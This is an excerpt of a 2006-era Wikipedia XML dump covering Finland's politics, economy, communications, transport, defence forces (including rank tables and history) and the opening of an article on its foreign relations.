In the parliamentary elections of [[16 March]] [[2003]], there were two dominating parties: the [[Keskusta|Center Party (KESK)]] got 55 seats, and the [[Social Democratic Party of Finland|Social Democratic Party (SDP)]] got 53 seats, in the 200-seat Eduskunta. A new cabinet was formed by Center and Social Democrats together with the [[Svenska Folkpartiet i Finland|Swedish People's Party]].

Finland elects on national level a [[head of state]] - the [[president]] -  and a [[legislature]]. The president is elected for a six year term by the people. The '''[[Parliament of Finland|Diet]]''' (''Eduskunta/Riksdag'') has 200 members, elected for a four year term by [[proportional representation]] in multi-seat [[constituency|constituencies]].  Finland has a [[multi-party]] system, with three strong parties, in which no one party often has a chance of gaining power alone, and [[political parties|parties]] must work with each other to form [[coalition government]]s.

In addition to the presidential and parlamentary elections, there are [[Elections in the European Union|European Parliament elections]] every five years, and local municipal elections (held simultaneously in every [[municipalities of Finland|municipality]]) every four years. 
{{Finnish presidential election, 2000}}
See also: [[Finnish presidential election, 2006]].
{{Finnish parliamentary election, 2003}}
{{main|Finnish parliamentary election, 2003}}

==Judicial system==
''Main article: [[Judicial system of Finland]]''

The judicial system is divided between [[court (judicial)|courts]] with regular civil and criminal jurisdiction and special courts with responsibility for litigation between the public and the administrative organs of the state. Finnish law is codified. Although there is no writ of [[habeas corpus]] or [[bail]], the maximum period of pre-trial detention has been reduced to four days. The Finnish court system consists of local courts, regional appellate courts, and a Supreme Court.

==Administrative divisions==
''Main article: [[Provinces of Finland]], [[Subdivisions of Finland]]'' 

Finland has six provinces. Below the provincial level, they are divided into municipalities administered by councils elected by proportional representation once every four years. At the provincial level, the 5 [[Mainland Finland|mainland provinces]] are administered by provincial boards composed of civil servants, each headed by a presidentially appointed governor. The boards are responsible to the Ministry of the Interior and play a supervisory and coordinating role within the provinces.

The island province of [[Åland]] is located near the 60th parallel between [[Sweden]] and Finland. It enjoys local [[self-governance|autonomy]] by virtue of an international convention of [[1921]], implemented most recently by the [[Act on Åland Self-Government]] of [[1951]]. The islands are further distinguished by the fact that they are entirely Swedish-speaking. Government is vested in the provincial council, which consists of 30 delegates elected directly by Åland's citizens.

==See also==
*[[Political parties in Finland]]
*[[Foreign relations of Finland]]
*[[Politics of Åland]]
*[[Flag of Finland]]
*[[Comprehensive Income Policy Agreement]]

==External links==
*[http://www.cia.gov/cia/publications/factbook/geos/fi.html Finland] in the [[CIA World Factbook]]

[[Category:Politics of Finland]]

[[da:Finlands politik]]
[[pt:Política da Finlândia]]
[[sv:Finlands politik]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Finland</title>
    <id>10712</id>
    <revision>
      <id>41530581</id>
      <timestamp>2006-02-27T23:47:33Z</timestamp>
      <contributor>
        <ip>212.194.94.198</ip>
      </contributor>
      <comment>+ fr</comment>
      <text xml:space="preserve">[[Finland]] has a highly industrialized, largely free-market economy, based on abundant forest resources, capital investments, and technology. Traditionally, Finland has been a net importer of capital to finance industrial growth. In the 1980s, Finland's economic growth rate was one of the highest of industrialized countries, with per capita output roughly that of the [[United Kingdom]], [[France]], [[Germany]], [[Sweden]] and [[Italy]]. 

Finland's key economic sector is manufacturing - principally the wood, metals, engineering, telecommunications and electronics industries. The telecommunications and electronics industries are now the biggest export sector. Trade is important, with exports equaling more than one-third of
[[Gross Domestic Product|GDP]]. Except for timber and several minerals, Finland depends on imports of raw materials, energy, and some components for manufactured goods. Because of the climate, agricultural development is limited to maintaining self-sufficiency in basic products. Forestry, an important export earner, provides a secondary occupation for the rural population, although the importance has declined in the recent years.

In [[1991]], Finland fell into a deep recession caused by economic overheating, depressed foreign markets and the dismantling of the barter system between Finland and the former [[Soviet Union]]. More than 20% of Finnish trade was with the Soviet Union before 1991, and in the following two years the trade practically ceased. 1991 and again in [[1992]], Finland devalued the markka to promote export competitiveness. This helped stabilize the economy; the recession bottomed out in [[1993]], with continued growth through [[1995]]. Since then the growth rate has been one of the highest of [[OECD]] countries. 

The recession caused serious unemployment problem as unemployment soared from 3,2 % in 1990 to 16,6 % in [[1994]]. Unemployment continues to be a problem for Finland even if rapid growth of the production after the recession and active employment policies have reduced unemployment to 8,8 % of [[labor force]] in [[2004]]. According to [[Bank of Finland]]'s statistics, the estimated total rate of unemployment including [[Unemployment#Capitalism_and_Unemployment|hidden unemployment]] accounted to 18% in the fall of [[2003]].

Exports of goods contribute more than 20% of Finland's GDP; combined exports of goods and services amount to at least 25% of GDP. Exports and imports of goods equal about 40% of GDP. Timber and metalworking are Finland's main industries, but other industries produce manufactured goods ranging from electronics to motor vehicles. Finnish-designed consumer products such as textiles, porcelain, and glassware are world-famous.

Except for [[timber]] and several minerals, Finland depends on imported raw materials, energy, and some components for its manufactured products. Farms tend to be small, but sizeble timber stands are harvested for supplementary income in winter. The country's main agricultural products are dairy, meat, and grains. Finland's EU accession has accelerated the process of restructuring and downsizing of this sector, with the farming population decreasing.

An extensive social welfare system, constituting about one-fifth of the national income, includes a variety of pension and assistance programs and a comprehensive health insurance program. Although free education through the university level also is available, only about one child in four receives a higher education in the highly competitive system. In the mid-1970s, the educational system was reformed with the goal of equalizing educational opportunities. Beginning at age seven, all Finnish children are required to attend a comprehensive school (peruskoulu) of nine grade levels (six primary and three secondary). After this, they may elect to continue along an academic (lukio) or vocational (ammattikoulu) line, although it is not mandatory to continue studying after that point. About 60% select the academic line. The number of openings in higher educational institutions is less than the demand. The education is based in Finnish or Swedish language. It is also now possible to study in English from primary up to University. 

Finland generally welcomes foreign investment. Areas of particular interest for investors are specialized high-tech companies and investments. The good infrastructure in Finland has enhanced Finland's position as a gateway to [[Russia]].

According to [[Transparency International]], Finland has the lowest level of [[political corruption|corruption]] in all the countries [[index_of_perception_of_corruption|studied in their survey]].

Finland is experiencing rapidly increasing integration with Western Europe: Finland was one of the 11 countries joining ([[Greece]] joined later) the [[Economic and Monetary Union of the European Union]] (EMU) on [[1 January]] [[1999]]. The national currency markka (FIM) in circulation was withdrawn and replaced by euro (EUR) in the beginning of 2002. 

'''GDP:'''
EUR 135.976 billion (2001).
Purchasing power parity - $152.955 billion (2004 est.)

'''GDP - real growth rate:'''

Selected Growth Rates and PPP GDP for 2002 - 2006 est.:

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|-----
! style=&quot;background:#efefef;&quot; | Year
! style=&quot;background:#efefef;&quot; | GDP &lt;br /&gt; &lt;small&gt;in billions of USD PPP &lt;br /&gt; &lt;/small&gt;
! style=&quot;background:#efefef;&quot; | % GDP Growth
|- align=&quot;right&quot;
! align=&quot;left&quot;|2002
| 139.882 || 2.2
|- align=&quot;right&quot;
! align=&quot;left&quot;|2003
| 145.327 || 2.4 
|- align=&quot;right&quot;
! align=&quot;left&quot;|2004
| 152.955 || 3.6 
|- align=&quot;right&quot;
! align=&quot;left&quot;|2005
| 161.099 || 1.8
|- align=&quot;right&quot;
! align=&quot;left&quot;|2006
| 168.348 || 3.2 
|- align=&quot;right&quot;
|}

GDP - real growth rate: 3.6% (2004 est.)

'''GDP - per capita:'''
EUR 28,643 per capita in 2004.
Purchasing power parity - $29,000 (2004 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
3.3%
&lt;br&gt;''industry:''
30.2%
&lt;br&gt;''services:''
66.5% (2004 est.)

'''Population below poverty line:'''
N/A

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
4.2%
&lt;br&gt;''highest 10%:''
21.6% (1991)

'''Inflation rate (consumer prices):'''
0.7% (2004 est.)

'''Labor force:'''
2.66 million (2004 est.)

'''Labor force - by occupation:'''
public services 32%, industry 22%, commerce 14%, finance, insurance, and business services 10%, agriculture and forestry 8%, transport and communications 8%, construction 6%

'''Unemployment rate:'''
8.9% (2004 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$96.43 billion 
&lt;br&gt;''expenditures:''
$91.95 billion (2004 est.)

'''Industries:'''
[[telecommunication]] equipment, metal products, [[Finnish Maritime Cluster|shipbuilding]], pulp and paper, copper refining, foodstuffs, chemicals, textiles, clothing

'''Industrial production growth rate:'''
4.8% (1999)

'''Electricity:'''
*''production:''71.59 [[TWh]] (2002)
*''consumption:'' 78.58 TWh (2002)
*''exports:'' 1.5 TWh (2002)
*''imports:'' 13.5 TWh (2002)

'''Electricity - production by source:'''
*''[[fossil fuel power plant|fossil fuel]]:'' 39%
*''[[hydroelectricity|hydro]]:'' 18.7%
*''[[nuclear power|nuclear]]:'' 30.4%
*''other:'' 11.8% (2001)

'''Agriculture - products:'''
cereals, sugar beets, potatoes; dairy cattle; fish

'''Exports:'''
€46 378 million (2003)

'''Exports - commodities:'''
machinery and equipment, chemicals, metals; timber, paper, and pulp

'''Exports - partners:'''
(EU 53.0%) [[Germany]] 11.8%, [[Sweden]] 9.9%, UK 8.1%,  USA 8.1%, [[Russia]] 7.5%, [[France]] 3.7%, [[China]] 2.2% (2003)

'''Imports:'''
€36 775 Million (2003)

'''Imports - commodities:'''
foodstuffs, petroleum and petroleum products, chemicals, transport equipment, iron and steel, machinery, textile yarn and fabrics, fodder grains

'''Imports - partners:'''
(EU 55.0%) [[Germany]] 15.0%, [[Russia]] 11.9%, [[Sweden]] 11.1%, UK 5.3%, [[France]] 4.8%, USA 4.7%, [[China]] 4.3% (2003)

'''Debt:'''
€63.8 billion (est. 2004)

'''Economic aid - donor:'''
ODA, €494 million (2003)

'''Currency:'''
1 euro (EUR) = 100 cent

'''Exchange rates:'''
euros per US$1 - 1.0073 (September 2002), 0.9867 (January 2000), 0.9386 (1999); markka (FMk) per US$1 - 5.3441 (1998), 5.1914 (1997), 4.5936 (1996), 4.3667 (1995)
&lt;br&gt;''note:''
The euro (EUR) has replaced the local currency markka (FIM) on [[1 January]] [[2002]]. The rate was EUR 1 = FIM 5.94573.

'''Fiscal year:'''
calendar year

==See also==
*[http://www.oecd.org/finland/ OECD's Finland country Web site] and [http://www.oecd.org/eco/surveys/finland/ OECD Economic Survey of Finland]
*[[Finland]]
*[[Finnish Maritime Cluster]]
*[[Finland and Globalization]]
*[[Economy of Europe]]
*[[List of Finnish companies]]
*[[Commemorative coins of Finland]]
*[http://www.tilastokeskus.fi/index_en.html Current statistics] from Statistics Finland

{{OECD}}
{{WTO}}


[[Category:Economy of Finland| ]]
[[Category:European Union member economies]]

[[es:Economía de Finlandia]]
[[he:כלכלת פינלנד]]
[[pt:Economia da Finlândia]]
[[fr:Économie de la Finlande]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Finland</title>
    <id>10713</id>
    <revision>
      <id>23512226</id>
      <timestamp>2005-09-19T07:52:35Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>moved to head of own category</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
2.855 million ([[1998]])

'''Telephones - mobile cellular:''' [[2003]] figures state that 93% of households own at least one mobile phone

'''Telephone system:'''
modern system with excellent service
&lt;br&gt;''domestic:''
cable, microwave radio relay, and an extensive cellular net take provide of domestic needs
&lt;br&gt;''international:''
1 submarine cable; satellite earth stations - access to Intelsat transmission service via a [[Sweden|Swedish]] satellite earth station, 1 [[Inmarsat]] (Atlantic and Indian Ocean regions); note - [[Finland]] shares the Inmarsat earth station with the other Nordic countries ([[Denmark]], [[Iceland]], [[Norway]], and [[Sweden]])

'''Radio broadcast stations:'''
AM 2, FM 186, shortwave 1 ([[1998]])

'''Radios:'''
8.1 million ([[1999]])

'''Television broadcast stations:'''
130 (plus 385 repeaters) ([[1995]])

'''Televisions:'''
3.3 million ([[1999]]); in [[2003]] 42% of households had either cable-television access or satellite television, 94% had a television and 20% a widescreen television

'''[[Internet Service Provider]]s (ISPs):'''
36 ([[1999]]); in [[2003]] 45% of households had an active internet connection in use; in [[2005]] there was one [[broadband]] internet connection per five people.

'''[[Country code]]:''' FI

:''See also :'' [[Finland]]

[[Category:Communications by country|Finland]]
[[Category:Communications in Finland| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Finland</title>
    <id>10714</id>
    <revision>
      <id>41225861</id>
      <timestamp>2006-02-25T22:32:44Z</timestamp>
      <contributor>
        <username>Ulayiti</username>
        <id>83902</id>
      </contributor>
      <minor />
      <comment>/* Air transport */ +management</comment>
      <text xml:space="preserve">The '''transport system of [[Finland]]''' is developed. [[As of 2005]], the country's network of main roads has a total length of 13 258 km, and is mainly centred on the capital city of [[Helsinki]]. The total length of all public roads is 78 186 km, of which 50 616 km are paved. The [[motorway]] network is still to a great extent under development, and currently totals 653 km. There are 5 865 km of [[railway]]s in the country. Helsinki has an urban rail network, and [[light rail]] systems are currently being planned in [[Turku]] and [[Tampere]]. Finland has 148 airports, the largest being [[Helsinki-Vantaa Airport]], and a considerable number of large ports.

The government ministry responsible for transport in the [[Ministry of Transport and Communications (Finland)|Ministry of Transport and Communications]].

== Roads ==
[[Road]] transport in Finland is the most popular method of transportation, particularly in rural areas where the railway network does not extend to. There are around 78 000 km of public roads, most of which are paved. The main road network comprises over 13 000 km of road, mostly in the south of the country and along the west coast. 63% of all traffic on public roads takes place on main roads, which are divided into class I (''valtatie'') and class II (''kantatie'') main roads. [[Motorway]]s have been constructed in the country since the [[1970s]], but they are still reasonably rare, as the country's motorway network is still very much under construction. There are 653 km of motorways, and only one route has been finished as a full-length motorway.

Speed limits change depending on the time of the year; the maximum speed limit on motorways is 120 km/h (75 mph) in the summer and 100 km/h (62 mph) in the winter. The main roads usually have speed limits of either 100 km/h or 80 km/h (50 mph). Speed limits in urban areas range between 30 km/h (19 mph) and 60 km/h (37 mph). Finland, like most other European countries, has [[Side of the road (traffic)|right-hand traffic]].

There are no [[toll road]]s in Finland.

[[As of 2004]], there are 2 727 160 [[car]]s in Finland, giving a total of 521 cars per a thousand inhabitants. Thus, the average citizen is less likely to own a car in Finland than in other European countries. This is despite the fact that Finland has one of the highest average [[Gross Domestic Product|GDPs]] in Europe, and probably results to the high quality of public transport in the country.

=== Coaches and buses ===
[[Coach]]es are mainly operated by private companies and provide services widely across the country. There is a large network of [[ExpressBus]] services with connections to all major cities and the most important rural areas. Coach stations are operated by [[Matkahuolto]].

Local bus services inside cities and towns are often tightly regulated by the councils. Many councils also have their own bus operators, such as [[Helsinki City Transport]], which operate some bus lines on a commercial basis in competition with privately owned providers. Regional bus lines are generally less strictly regulated, leading to [[cartel]] situations like [[TLO]] in the [[Turku]] region, but strong regional regulating bodies like the [[Helsinki Metropolitan Area Council]] (YTV) exist as well.

== Railways ==
The Finnish [[railway]] network consists of a total of 5,865 km of railways. Passenger trains are operated by the state-owned [[VR Group]]. They serve all the major cities and many rural areas, though railway connections are available to fewer places than bus connections. Most passenger train services originate or terminate at [[Helsinki Central railway station]], and a large proportion of the passenger rail network radiates out of Helsinki.

High-speed [[Pendolino]] services are operated from Helsinki to other major cities, mainly to [[Tampere]] and [[Turku]]. Modern [[InterCity]] services complement the Pendolino network, and the cheaper and older long and short distance trains operate in areas with less passengers.

The Helsinki metropolitan area has three [[urban rail]] systems: a [[Helsinki tram|tramway system]], [[Helsinki Metro]], and the [[VR lähiliikenne]] commuter rail system. [[Light rail]] systems are currently being planned for [[Turku]] and [[Tampere]], two of the country's other major urban centres.

== Air transport ==
There are 148 airports, 76 of which have paved runways. By far the largest airport is [[Helsinki-Vantaa Airport]]. Other international airports include [[Turku Airport]] and [[Tampere-Pirkkala Airport]]. The larger airports are managed by the state-owned [[Finavia]] agency (formerly the Finnish Civil Aviation Administration), while the smaller ones are usually managed by municipal authorities.

[[Category:Transport in Finland| ]]</text>
    </revision>
  </page>
  <page>
    <title>Finnish Defence Forces</title>
    <id>10715</id>
    <revision>
      <id>40328041</id>
      <timestamp>2006-02-19T21:16:41Z</timestamp>
      <contributor>
        <ip>82.181.218.5</ip>
      </contributor>
      <text xml:space="preserve">{{Military
| color=#aaaaff
| age=18 years of age for voluntary and compulsory military service (October 2004)
| availability=1,226,890 (2004 est.)
| service=1,013,961 (2004 est.)
| reaching age=32,058 (2004 est.)
| active=
| amount=$2.6 billion (FY05/06)
| percent GDP=1,4% (FY05/06)
}}

The '''Finnish Defence Forces''' ([[Finnish language|Finnish]] ''Puolustusvoimat''; [[Swedish  language|Swedish]] ''Försvarsmakten'') consist of 34,700 people in uniform (27,300 army, 3,000 navy, and 4,400 air force). [[Finland]]'s defence budget equals about 1.4% of the [[Gross_domestic_product|GDP]]. A universal male [[conscription]] is in place, under which all men above 18 years of age serve from 6 to 12 months, although service for [[Jehovah's Witnesses]] is not mandatory and inhabitants of [[Åland]] have a different system in place. Also a 13-month-long [[conscientious objector|non-military service]] is possible. As of 1995, women were permitted to serve on a voluntary basis. The defence is based on a large trained reserve. Finland can mobilize 490,000 trained military personnel in a crisis situation.

The Finnish Defence Forces are under the command of the Chief of Defence, who is directly subordinate to the [[President of Finland|President of the Republic]] in matters related to the military command. At the moment (February 2006) the Chief of Defence is Admiral [[Juhani Kaskeala]].

Military doctrine: Self-defensive; independent defence of all of domestic territory; [[NATO]] Partnership for Peace affiliate; committed to pan-European (incl. Russia) treaty of trust-enhancing cooperation, such as providing access for international observers during major exercises.  

In 2005 the Finnish defence ministry announced a cost-cutting plan. The [[Helsinki Air Defence Regiment]] in [[Hyrylä]] and the [[Savo Brigade]] in [[Mikkeli]] will be disbanded in [[2007]]. At the same time Kotka Coastal Command will be disbanded and its duties will be taken over by other units.

==Military branches==
*[[Finnish Army]] (Maavoimat)
*[[Finnish Navy]] (Merivoimat)
*[[Finnish Air Force]] (Ilmavoimat)

The [[Finnish Frontier Guard|Frontier Guard]] (Rajavartiolaitos) is under the Ministry of the Interior but can be incorporated into the Defence Forces when required by defence readiness.

== Military Ranks ==
{| border=1 cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|- style=&quot;background-color: #aaaaff;&quot;
! colspan=4 | Army and Air Force Officer Ranks
|- style=&quot;background-color: #ccccff;&quot;
! Finnish !! Swedish !! English !! German
|-
| width=&quot;150&quot; | Kenraali || width=&quot;150&quot; | General || width=&quot;150&quot; | [[General]] || width=&quot;150&quot; | General
|-
| Kenraaliluutnantti || Generallöjtnant || [[Lieutenant General]] || Generalleutnant
|-
| Kenraalimajuri || Generalmajor || [[Major General]] || Generalmajor
|-
| Prikaatikenraali || Brigadgeneral || [[Brigadier General]] || Brigadegeneral
|-
| Eversti || Överste || [[Colonel]] || Oberst
|-
| Everstiluutnantti || Överstelöjtnant || [[Lieutenant Colonel]] || Oberstleutnant
|-
| Majuri || Major || [[Major]] || Major
|-
| Kapteeni || Kapten || [[Captain]] || Hauptmann
|-
| Yliluutnantti || Premiärlöjtnant || Senior Lieutenant || Oberleutnant
|-
| Luutnantti || Löjtnant || [[Lieutenant]] || Leutnant
|-
| Vänrikki || Fänrik || [[Second Lieutenant]] || Fähnrich
|}

{| border=1 cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; 
|- style=&quot;background-color: #aaaaff;&quot;
! colspan=&quot;4&quot; | Navy Officer Ranks
|- style=&quot;background-color: #ccccff;&quot;
! Finnish !! Swedish !! English
|-
| width=&quot;150&quot; | Amiraali || width=&quot;150&quot; | Admiral || width=&quot;150&quot; | [[Admiral]]
|-
| Vara-amiraali || Viceadmiral || [[Vice Admiral]]
|-
| Kontra-amiraali || Konteradmiral || [[Rear Admiral]]
|-
| Lippueamiraali || Flottiljadmiral || [[Commodore (rank)|Commodore]]
|-
| Kommodori || Kommodor || [[Captain]]
|-
| Komentaja || Kommendör || [[Commander]]
|-
| Komentajakapteeni || Kommendörkapten || [[Lieutenant Commander]]
|-
| Kapteeniluutnantti || Kaptenlöjtnant || [[Lieutenant, Senior Grade]]
|-
| Yliluutnantti || Premiärlöjtnant || [[Lieutenant]]
|-
| Luutnantti || Löjtnant || [[Lieutenant, Junior Grade]]
|-
| Aliluutnantti || Underlöjtnant || [[Sub-Lieutenant]]
|}

{|  border=1 cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; 
|- style=&quot;background-color: #aaaaff;&quot;
! colspan=&quot;3&quot; | Army and Air Force Enlisted Ranks
|- style=&quot;background-color: #ccccff;&quot;
! Finnish !! Swedish !! English
|-
|  width=&quot;150&quot; | Sotilasmestari(*) || width=&quot;150&quot; | Militärmästare || width=&quot;150&quot; | [[Chief Warrant Officer]]&amp;nbsp;
|-
|  Vääpeli(*) || Fältväbel || [[Warrant Officer]]&amp;nbsp; 
|-
|  Ylikersantti || Översergeant || [[Staff Sergeant]]
|-
|  Kersantti || Sergeant || [[Sergeant]]
|-
|  Alikersantti || Undersergeant || [[Corporal]]
|-
|  Korpraali || Korpral || [[Lance Corporal]]
|-
|  Sotamies || Soldat || [[Private (rank)|Private]]
|}

{|  border=1 cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; 
|- style=&quot;background-color: #aaaaff;&quot;
! colspan=&quot;3&quot; | Navy Enlisted Ranks
|- style=&quot;background-color: #ccccff;&quot;
! Finnish !! Swedish !! English
|-
| width=&quot;150&quot; | Sotilasmestari || width=&quot;150&quot; | Militärmästare || width=&quot;150&quot; | [[Chief Warrant Officer]]&amp;nbsp;
|-
| Pursimies || Båtsman || [[Chief Petty Officer]]&amp;nbsp;
|-
| Ylikersantti || Översergeant || [[Petty Officer First Class|Petty Officer 1st Class]]
|-
| Kersantti || Sergeant || [[Petty Officer Second Class|Petty Officer 2nd Class]]
|-
| Alikersantti || Undersergeant || [[Petty Officer Third Class|Petty Officer 3rd Class]]
|-
| Ylimatruusi || Övermatros || [[Able Seaman]]
|-
| Matruusi || Matros || [[Seaman]]
|}

The rank of ''sotamies'' is not actually given to new recruits anymore, although it was used earlier. The lowest rank is given according to specialization; in the infantry the rank is ''jääkäri'' ([[Jäger (military)|Jaeger]]), artillery has ''tykkimies'' (artilleryman), communications has ''viestimies'' (signaller), [[Guard Jaeger Regiment]] has ''kaartinjääkäri'', and so on. Generally file and rank may be referred to as ''sotamiehet''.

Obsolete ranks include: ''ylivääpeli/överfältväbel'' (a rank between Chief Warrant Officer and Warrant Officer), ''kornetti'' (Second Lieutenant in the [[cavalry]]), ''ratsumestari'' (a cavalry Captain), ''prikaati&lt;u&gt;n&lt;/u&gt;kenraali'' (old form for ''prikaatikenraali'') and ''lentomestari''.

:Semi-obsolete ranks include those of warrant officers (''vääpeli'', ''sotilasmestari''), as since training of full-time employed NCOs ended in 2001, and those who have recently graduated from the NCO academy usually hold the rank of a Second Lieutenant or a Lieutenant. Those who hold the ranks of ''vääpeli'' or ''sotilasmestari'' are soon to be retired or have been promoted to Second Lieutenant or a Lieutenant to do away with the obsolete ranks. 2001 onwards, the [[National Defence College]] train all new commissioned officers . These obsolete ranks are still used for NCOs in the reserve. The highest attainable rank for conscripts at the end of their mandatory service are lance corporal (file and rank), sergeant (NCOs) and second lieutenant/vänrikki (automatic promotion for officer ''&quot;students&quot;'', in practise the most senior NCO conscripts).

[[Carl Gustaf Emil Mannerheim]] is the only person to have held the title of ''Sotamarsalkka/Fältmarskalk'' ([[Field Marshal]]) and later ''Suomen marsalkka/Marskalk av Finland'' ([[Marshal of Finland]]). Note that both ''Sotamarsalkka'' and ''Suomen marsalkka'' were officially not military ranks, but rather honorary titles. In practice ''Sotamarsalkka'' was treated as a rank, and it had a distinctive rank insignia. As ''Suomen marsalkka'' Mannerheim continued to wear the insignia of ''sotamarsalkka''.

== History ==
The autonomous [[Grand Duchy of Finland]] had its of [[Military of the Grand Duchy of Finland|standing army]] and its own system of [[conscription]]. The [[Guard of Finland]] fought alongside the [[Imperial Russia|imperial]] army in several of Russias wars.  [[Russification of Finland|Russification]] efforts after [[1899]] resulted in dodging of the draft and later in the abolishment of conscription.

During [[World War I]] Finnish volunteers secretly joined the [[German Empire|Imperial German]] army to receive military traning. These [[Finnish Jäger troops]] arrived in February [[1918]] in the white capital city of [[Vaasa]] and formed the core of the White Army in the [[Finnish Civil War]].

The [[Russian Revolution of 1917|Russian revolutions]] had caused the creation of [[Red Guards (Finland)|Red]] and [[White Guard (Finland)|White Guard]]s in Finland. On [[January 25]], [[1918]] the [[White Guard (Finland)|White Guard]] were declared to be the official troops of the white government. This marks the formation of the armed forces of the independent Finland.

After the [[Finnish Civil War]] the armed forces were organised according to the German system. In February [[1919]] the White Guard separated from the armed forces and became an independent organisation. 

===Restrictions on armaments===
The [[Paris Peace Treaty]] after the [[Continuation War]] limited the strength of the Finnish Army to 34,400 men, the Navy to 4,500 men and the maximum displacement of ships in the navy to 10,000 tonnes. The Air Force was limited to 3,000 men and 60 planes. Also certain weapons such as [[guided missile]]s, [[submarine]]s, proximity [[Naval mine|mine]]s, [[torpedo boat]]s, [[bomber]]s with internal bomb racks and any weapons of [[Germany|German]] origin were forbidden. Later &quot;defensive&quot; missiles were allowed. All of the restrictions, except for the ban on [[nuclear weapons]], were unilaterally lifted by president [[Mauno Koivisto]] after the [[breakup of the Soviet Union]].

==UN peacekeeping operations==
Finland has taken part in [[UN peacekeeping]] operations since [[1956]], resulting in total of 43,000 Finnish peacekeepers during that time. In 2003 over a thousand Finnish peacekeepers were involved in UN operations. According to the Finnish law the maximum simultaneous strength of the peacekeeping forces is 2000 soldiers.

Since 1996 the [[Pori brigade]] has trained a special jaeger [[battalion]], the Finnish Rapid Deployment Force (FRDF), which can take part in crisis management operations at short notice.

Finnish participation in UN peacekeeping operations as of June 2004:

*[[KFOR]] in [[Kosovo]] (700)
*[[UNMIK]] in Kosovo (2) +  civilians (policemen)
*[[UNIFICYP]] in [[Cyprus]] (3)
*[[UNMIL]] in [[Liberia]] (2)
*[[UNTSO]] in [[Egypt]], [[Israel]], [[Lebanon]] and [[Syria]] (14)
*[[UNMEE]] in [[Ethiopia]] and [[Eritrea]] (207)
*[[ISAF]] in [[Afghanistan]] (60)
*[[UNMOGIP]] in [[India]] and [[Pakistan]] (45) + 70 civilians

*[[UNMOP]] in [[Montenegro]] has ended [[December 15]] [[2002]].

Source: http://tietokannat.mil.fi/rauhanturvaajat/ops.php3

''See also :'' [[Finland]], [[Finnish Jäger troops]], [[White Guard (Finland)|White Guard]]s, [[List of senior officers of the Finnish Defence Forces|List of senior officers]]

==External links==
* [http://www2.mil.fi/english/ Finnish Defence Forces]
* [http://tietokannat.mil.fi/rauhanturvaajat/main.php3 Finnish Peacekeeping Operations (in Finnish)]


[[Category:Militaries|Finland]]
[[Category:Military of Finland]]
[[Category:Wars of Finland]]

[[fi:Suomen Puolustusvoimat]]
[[sv:Finländska försvarsmakten]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Finland</title>
    <id>10716</id>
    <revision>
      <id>39711622</id>
      <timestamp>2006-02-15T08:31:30Z</timestamp>
      <contributor>
        <ip>159.46.248.229</ip>
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      <comment>template</comment>
      <text xml:space="preserve">{{Politics of Finland}}
'''[[Finland]]’s basic [[foreign policy]]''' goal, from the end of the [[Continuation War]] with the [[Soviet Union|U.S.S.R.]] in [[1944]] until [[1991]], was to avoid great-power conflicts and to build mutual confidence with the Soviet Union. Although the country was culturally, socially, and politically [[Western civilization|Western]], Finns realized they must live in peace with the U.S.S.R. and take no action that might be interpreted as a security threat. The [[collapse of the Soviet Union]] in [[1991]] opened up dramatic new possibilities for Finland and has resulted in the Finns actively seeking greater participation in Western political and economic structures.

==Relations With the Soviet Union and With Russia==
The principal architect of the post-1944 foreign policy of [[neutral country|neutrality]] was [[Juho Kusti Paasikivi|J.K. Paasikivi]], who was President from [[1946]] to [[1956]]. [[Urho Kekkonen]], President from [[1956]] until [[1981]], further developed this policy, stressing that Finland should be an active rather than a passive neutral. This policy is now popularly known as the “[[Paasikivi-Kekkonen Line]].”

=== Humiliation ===
Finland signed the [[Paris Peace Treaty]] with the [[Allies]] in February [[1947]], which:
* confirmed Finland’s concessions in the [[Moscow Peace Treaty]] with exception for the Soviet lease of [[Hanko Peninsula]] in south-westernmost Finland
* limited the size of [[Finnish Defence Forces|Finland’s armed forces]]
* ratified the cessions after the [[Winter War]] and the [[Continuation War]]
* gave the Soviet Union a naval base at [[Porkkala]] 30 kilometres west of [[Helsinki]] including rights of free transit 
* contained unnecessary but particularly humiliating provisions directed against “[[Fascism]] in Finland”
* called for Finland to pay to the Soviet Union [[war reparations]] amounting to an estimated $570 million in [[1952]], the year the payments ended. 

The development from the [[Abyssinia crisis]], indicating the failure of the [[League of Nations]], to the Paris Peace Treaty, when the last hope of more than oral support from the ideologically akin [[Western countries]] faded, convinced the Finns that they had absolutely no-one other than themselves to rely on in their problematic relations with the Soviet Union.

The Finnish Army, which in defence against the Soviet Union had numbered to over 500,000, was to be limited to 34,400 men, the navy to 4,500 men and 10,000 tons, and the air force to 3,000 men and 60 planes. With this provision the Western Allies had, seemingly, left Finland in the Soviet Union’s power.

The political clauses of the Paris Peace Treaty were particularly alienating. Through this clause, the Allies agreed to [[the Kremlin]] view that the Soviet Union represented “Liberty” and Finland represented “Fascism”. The peace treaty stipulated that the country should take all measures necessary to secure ''“human rights and the fundamental freedoms, including freedom of expression, of press and publication, of religious worship, of political opinion and of public meeting.”'' Finland’s government undertook further to prevent the resurgence of Fascist organizations or any others, ''“whether political, military or semi-military, whose purpose it is to deprive the people of their democratic rights.”'' With the exception that the victor’s interpretation of “Fascist organizations” turned out to be wide, these clauses had no practical effects.

=== Reassurance ===
''(See also: [[Finlandization]])''

For the survival of Finland as an independent [[sovereignty|sovereign]] [[country]], firmly convicted in the value of [[democracy]], [[capitalism]], [[human rights|human]] and [[civil rights]], Finland had to find a formula to convince [[Stalin]] and his successors, that the Soviet Union’s vital interests could be met voluntarily by the Finns. This was the gist of the [[Paasikivi doctrine]].

